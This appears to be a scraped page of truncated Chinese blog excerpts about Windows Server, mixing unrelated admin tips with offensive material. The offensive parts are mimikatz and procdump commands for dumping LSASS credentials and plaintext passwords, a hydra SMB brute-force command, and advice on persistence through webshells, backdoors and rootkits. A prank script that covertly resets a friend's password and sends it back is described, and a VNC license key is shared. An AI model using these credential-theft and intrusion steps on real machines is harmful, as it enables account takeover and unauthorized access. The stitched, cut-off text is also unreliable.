进去meterpreter后getuid一下 这获得系统管理员权限 开始 加载mimikatz模块 load mimikatz 加载成功. 第一种方法: 获取登录密码的hash值 msv 上面已经是得到hash值了. 下面算明文密码. 获取明文密码 kerberos look...拿到登录的明文密码了. 第二种方法: 使用另一种方式获取哈希值 mimikatz_command -f samdump::hashes 根据上面的方式获取明文密码 mimikatz_command -f sekurls

最近一个项目需要使用Windows服务器,选择安装了最新版的Windows 2016,上一次使用Windows服务器还是Windows 2003系统,发现变化还是挺多的,依次记录下来以备后面查阅. 目录 [隐藏] 1 系统更新配置 1.1 更换Windows更新服务器 1.2 启用并允许自动更新 1.3 解决执行自动更新时出现的 0x8024401f 和 0x8024401c 错误 2 系统账号安全 2.1 设置账号安全策略 2.2 检查并优化账号 2.3 禁止系统自动登录 3 远程访问安全 3

当你拿到了系统控制权之后如何才能更长的时间内控制已经拿到这台机器呢?作为白帽子,已经在对手防线上撕开一个口子,如果你需要进一步扩大战果,你首先需要做的就是潜伏下来,收集更多的信息便于你判断,便于有更大的收获.用什么方法才能有尽可能高的权限,同时能更有效的隐藏自己,是留webshell,留后门,种木马还是Rootkit?webshell,哪怕是一句话木马都很容易被管理员清除,放了木马,也容易被有经验的管理员查出,不管是早期自己创建进程,进程被干掉就完了,还是注入进程的木马,或者是以服务自启动的木马

VirtualBox虚拟机下Windows登录密码破解方法 近两年虚拟机的发展给开发人员带来了极大便利,安装一个新环境,只需从别人那里copy一份虚拟机文件即可,分分钟搞定.我之前一直在Ubuntu下工 作,Windows偶尔使用,于是在Ubuntu VirtualBox下安装了一个Windows 7.今年将工作环境迁移到Mac Air下了,但偶尔也有Windows的使用需求,于是直接从我原来的Ubuntu下将Win7的Vdi文件Copy到Air上,便直接可以使用Win7 了,省去了重新安装Wi

Download ISO file for Windows 2016 (180 days free).  https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2016 Create virtual driver on VirtualBox Figure 6.9. Virtual Machine Storage Settings In the Storage Tree section, select Empty be

文章参考 https://social.technet.microsoft.com/Forums/zh-CN/21a5f5e9-feee-4454-acad-fd22989d7bed/2249529615226592131932423332672016?forum=windowsserversystemzhchs 环境: 2台windows 2008 R2 域控制服务器,是早期由windows 2003域环境升级而来 林和域的功能级别为 windows 2003 计划添加一台windows 20

利用hydra(九头蛇)暴力破解内网windows登录密码 https://blog.csdn.net/weixin_37361758/article/details/77939070 尝试了下 能够进行smb的破解 但是rdp的总是失败. 很奇怪. 使用的命令是 windows 平台. hydra.exe -l administrator -P pass.txt -V 10.24.101.1 smb    版权声明:本文为博主原创文章,未经博主允许不得转载. https://blog.csdn

一台主机上,同时安装了Windows 2012R2还有Windows 2016, 但是如何能在任意一个系统重启到另一个呢? 下图中,在Win2012R2中,无法选择重启到2016中. 解决方案 =========== 运行下面的命令 bcdedit /copy {current} /d "Windows Server 2016" bcdedit /set {ID from 上一步} device partition=E:(哪个盘符要根据你的Windows 2016装在那个盘里) bcd

Windows 2016 安装Sharepoint 2016 预装组件失败 日志如下: -- :: - Request for install time of Web 服务器(IIS)角色 -- :: - Request for install time of Web 服务器(IIS)角色 -- :: - Request for install time of Web 服务器(IIS)角色 -- :: - Request for install time of Web 服务器(IIS)角色 --

windows 2016 配置 VNC 服务 下载windows版 https://www.realvnc.com/download/vnc/ 安装时勾选 vncserver 进入 "C:\Program Files\RealVNC\VNC Server" 打开 vnclicensewiz ,选择第三项 "Enter a license key ..." 找个 KEY 填上,这是我找的,看有能用的吗 BQ24G-PDXE4-KKKRS-WBHZE-F5RCA BQ2

Windows 2016 和 Windows 10 内核是相同的,我们首先需要安装 Internet Information Services (IIS),当然 Win2016 跟 Win10 安装 IIS 的步骤稍有差别,之前本站有文章介绍:<Windows 2016 如何安装 IIS>和<Windows 10 如何安装 IIS>,当然也可以参考之前的<Win7安装IIS7.5步骤配图详解>. 所以本文以安装完 IIS 为基础,介绍 PHP 安装和配置的步骤: 第一步

强制更改windows电脑密码 1.重启电脑,连续按F8,在出现的高级选项中 2.选择administrator用户,打开管理员命令窗口 3.输入命令 etuserAA123456/add 密码就会被修改为123456 4.重启电脑,密码输入123456即可

发现使用 osk 还有 magnify 的方式修改 密码的方式在win server 的机器上面行不通了. 换一种方式进行处理. 使用PE 方式处理. 1. 下载PE 发现比较早的PE 也搞不定 可能使用至少 2018年提交的PE 才可以处理 下载地址: http://www.upantool.com/iso/cdrom/13787.html 2. 下载完之后 上传到ESXi服务器上面 并且方法与之前的版本一样. 修改必须启动BIOS 修改BIOS的启动顺序 此处不在截图了. 3. 使用iso镜

Mimikatz现在已经内置在Metasploit’s meterpreter里面,我们可以通过meterpreter下载.但是你如果觉得还要考虑杀毒软件,绑定payload之类的东西太过复杂,我们可以有更好的办法,只需要在自己的电脑上运行Mimikatz alpha(地址)版本,然后处理dump的LSASS进程内存文件就行! 那么如何dump LSASS进程内存呢.可以通过以下方式: 1.对于NT6可以使用windows自带的功能进行dump: 任务管理器—进程—显示所有用户进程—找到lsas

1.mimikatz mimikatz.exe "sekurlsa::debug" "sekurlsa::logonPasswords full" >>1.txt exit 2.procdump 1.在目标机器上执行 procdump.exe -accepteula -ma lsass.exe lsass.dmp 2.把lsass.dmp下载到本地,放在同样的系统(目标是windows2008-->本地也用Windows2008) 3.mimika

Mac机上安装了Parallel Windows,日久年深不登录结果忘记了登录密码,百爪挠心,想破脑壳试了n个密码都不行,放了一个多月也没想起来. 今天没事网上溜溜,肯定也有和我同病相怜的弟兄,果然,这个链接救了我,不敢独吞,给大家共享: http://blog.chrisknost.com/resetting-your-password-for-parallels-7-using-mac-os-x-terminal/ 1. 启动parallel windows 2. Mac中启动终端(term

1.WinKey + R,在对话框中输入“gpedit.msc”,点“确定”:   2.展开:计算机配置--Windows设置--安全设置--本地策略--安全选项,找到“帐户:使用空白密码的本地账户只允许进行控制台登录”双击打开选项窗口,选“已禁用”-“确定”:   3.WinKey + R,在对话框中输入“compmgmt.msc”,点“确定”:   4.展开“本地用户和组”--用户,右键要用到的远程桌面用户--设置密码--继续--不输密码,点“确定:   5.右键点击“我的电脑”,选择“属性

  今天教大家用python脚本来控制小伙伴们windows电脑的开机密码.没错就是神不知鬼不觉,用random()随机生成的密码,只有你自己知道哦~ 代码呢分两部分,一部分是client端跟server端两个.你只需要想办法让小伙伴运行你的client端脚本就OK啦.不过在此之前你一定要在你的电脑上运行server端哦~这样子的话,client端会在你的小伙伴电脑上随机生成一个密码然后通过socket发给server端也就是发给你哦~   下面放代码,顺便加点注释. client端代码: #

故障转移群集是一个很实用的功能,而windows在2016版本开始,终于支持不用域做故障转移群集. 在群集中,我们可以设定一个"群集IP" 而客户端只需要根据这个"群集IP"就能连接当前群集的主服务器.而不必关心群集服务器之间的替换. 而更棒的是,它是"去中心"的,它没有一个中心主机,我们都知道"有中心"的集群,如果"中心"出了问题,那么整个集群都无法运行了. 而故障转移群集,通常是无中心,或者多中心的(多

能进入windows,以前保存的凭据,但是不知道啥. windows下进入cmd net user administrator abc123 这样可以重置密码

网上的一些人让别人进入命令提示符安全模式,我比较奇怪如果没有密码怎么进去?能进去干嘛还要进去? 本笨方法的原理主要是利用登陆界面的一些程序入口,把它当成后门来使用,比如win7登陆界面上除了输密码的地方还有可能会有 讲述人程序.输入法切换.连续按下shift会出现按键粘滞设置等等.我们将这些程序换成cmd.exe则执行的时候就会出来命令提示符,会点DOS的朋友都知道,有命令提示符和进入了桌面差不多,基本上想干什么就能干什么了. 这个方法有个比较大的缺点,你得有个自带DOS或者WINPE的启动盘或